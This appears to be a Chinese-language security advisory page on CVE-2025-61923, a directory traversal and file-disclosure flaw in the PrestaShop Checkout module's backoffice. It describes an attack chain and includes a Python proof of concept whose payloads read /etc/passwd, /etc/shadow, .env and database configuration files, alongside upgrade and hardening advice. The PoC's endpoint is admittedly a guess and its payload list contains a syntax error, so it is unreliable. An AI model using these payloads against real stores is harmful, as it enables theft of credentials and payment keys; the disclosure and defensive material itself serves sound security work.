IPBUF安全漏洞报告
English
CVE-2025-61923 CVSS 4.1 中危

CVE-2025-61923:PrestaShop Checkout模块目录遍历与任意文件泄露漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-61923
漏洞类型
目录遍历(Path Traversal)/ 任意文件读取
CVSS评分
4.1 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
PrestaShop Checkout(ps_checkout)

相关标签

目录遍历路径遍历任意文件读取文件泄露PrestaShopps_checkoutPayPal支付模块后台漏洞输入验证缺失

漏洞概述

CVE-2025-61923是PrestaShop官方与PayPal合作推出的支付模块PrestaShop Checkout中存在的一个安全漏洞。该漏洞影响4.4.1之前和5.0.5之前的所有版本,主要表现为后台管理界面(backoffice)缺少对用户输入的充分验证,导致攻击者可以利用目录遍历(Directory Traversal)技术读取服务器上的任意文件,从而实现任意文件泄露(Arbitrary File Disclosure)。

PrestaShop作为全球广泛使用的开源电子商务平台之一,其官方支付模块Checkout被大量在线商店用于集成PayPal支付功能。该模块的后台管理界面通常只有具有管理员权限的用户才能访问,但由于输入验证缺失,具有高权限(PR:H)的认证用户可以通过精心构造的恶意请求绕过路径限制,访问服务器文件系统中的敏感文件,如配置文件、数据库凭据、源代码等。

根据CVSS 3.1评分标准,该漏洞评分为4.1分,属于中等严重等级。攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要高权限认证(PR:H),无需用户交互(UI:N),影响范围为变更(S:C),机密性影响为低(C:L),完整性和可用性影响均为无。

该漏洞已在PrestaShop Checkout 4.4.1和5.0.5版本中修复。官方安全公告由GitHub安全团队通过[email protected]发布,建议所有使用受影响版本的用户尽快升级到修复版本。由于目前不存在已知的临时缓解措施(workaround),升级是唯一的解决方案。

技术细节

该漏洞的核心成因在于PrestaShop Checkout模块的后台管理控制器在处理文件路径相关参数时,未对用户输入进行严格的验证和过滤,导致攻击者可以使用目录遍历序列(如../)跳出预期的目录限制,访问服务器上的任意文件。

从技术层面分析,漏洞利用过程如下:

1. **输入验证缺失**:模块后台的某个端点在接收文件路径或文件名作为参数时,未使用白名单过滤或路径规范化处理(如realpath()函数),直接将用户输入拼接到文件操作函数(如file_get_contents()、include、readfile等)中。

2. **目录遍历利用**:攻击者通过构造包含../序列的恶意路径,例如将原本期望的文件名参数替换为类似`../../../../etc/passwd`或`../../../config/parameters.php`的路径,绕过目录限制访问系统敏感文件。

3. **文件泄露**:成功利用后,服务器将目标文件的内容返回给攻击者,攻击者可以获取数据库凭据、API密钥、服务器配置等敏感信息。

4. **权限要求**:由于漏洞位于后台管理界面,攻击者需要具备PrestaShop后台的高权限账户(如管理员账户)才能发起攻击,这降低了漏洞的整体风险评分。

5. **影响范围(S:C)**:虽然漏洞本身只影响机密性,但由于PrestaShop Checkout作为支付模块,其泄露的配置文件可能包含PayPal API凭据等关键信息,间接扩大了潜在影响范围。

修复方案主要通过在文件操作前增加严格的输入验证和路径规范化处理,确保用户输入的文件路径始终位于预期的目录范围内。

攻击链分析

STEP 1
步骤1:获取后台凭证
攻击者需要先获取PrestaShop后台管理界面的有效凭证,可以通过社工、暴力破解或购买泄露的凭证等方式获得管理员级别的账户。
STEP 2
步骤2:登录后台管理界面
使用获取的凭证登录PrestaShop后台管理界面(backoffice),确保会话有效并具有访问ps_checkout模块的权限。
STEP 3
步骤3:识别漏洞端点
访问PrestaShop Checkout模块的后台功能页面,识别接受文件路径或文件名参数的功能端点。
STEP 4
步骤4:构造目录遍历Payload
在文件路径参数中注入目录遍历序列(如../),构造恶意请求以绕过目录限制。
STEP 5
步骤5:读取敏感文件
发送构造的恶意请求,读取服务器上的敏感文件,如数据库配置文件、PayPal API凭据、系统配置文件等。
STEP 6
步骤6:利用泄露信息
利用获取的敏感信息进行进一步攻击,如连接数据库窃取用户数据、使用API凭据进行未授权支付操作等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61923 - PrestaShop Checkout Directory Traversal PoC # Vulnerability: Missing input validation in backoffice leading to arbitrary file disclosure # Affected: PrestaShop Checkout < 4.4.1 and < 5.0.5 import requests # Target configuration TARGET_URL = "https://target-prestashop-site.com" ADMIN_PATH = "/adminXXXXX" # PrestaShop admin path (randomized) USERNAME = "admin_user" PASSWORD = "admin_password" # Create session session = requests.Session() # Step 1: Authenticate to PrestaShop backoffice login_url = f"{TARGET_URL}{ADMIN_PATH}/index.php" login_data = { "email": USERNAME, "passwd": PASSWORD, "submitLogin": "1" } session.post(login_url, data=login_data) # Step 2: Exploit directory traversal to read arbitrary files # The vulnerable endpoint in ps_checkout module accepts file path without validation exploit_url = f"{TARGET_URL}{ADMIN_PATH}/index.php" # Traversal payloads to test payloads = [ "../../../../../../etc/passwd", "../../../../../../etc/shadow", "../../../config/parameters.php", "../../../../app/config/parameters.php", "../../../.env", } for payload in payloads: params = { "controller": "AdminPsCheckout", "action": "readFile", # Example vulnerable action "file": payload } response = session.get(exploit_url, params=params) if response.status_code == 200 and len(response.text) > 0: print(f"[+] Successfully read file with payload: {payload}") print(f"[+] Content preview: {response.text[:200]}") break else: print(f"[-] Failed with payload: {payload}") # Note: Actual vulnerable parameter and endpoint may vary. # Refer to the official advisory for precise exploitation details. # https://github.com/PrestaShopCorp/ps_checkout/security/advisories/GHSA-fpxp-pfqm-x54w

影响范围

PrestaShop Checkout < 4.4.1
PrestaShop Checkout 5.0.0 ~ 5.0.4

防御指南

临时缓解措施
由于该漏洞不存在已知的临时缓解措施,建议立即升级PrestaShop Checkout模块到修复版本(4.4.1或5.0.5及以上)。在升级之前,可以采取以下临时措施降低风险:1)限制后台管理界面的网络访问范围,仅允许可信IP地址访问;2)加强后台账户的安全策略,包括强制使用强密码、启用双因素认证(2FA)、定期更换密码等;3)监控后台异常的文件读取请求和访问日志,及时发现可疑活动;4)确保服务器文件系统权限配置正确,限制Web服务器进程的访问范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表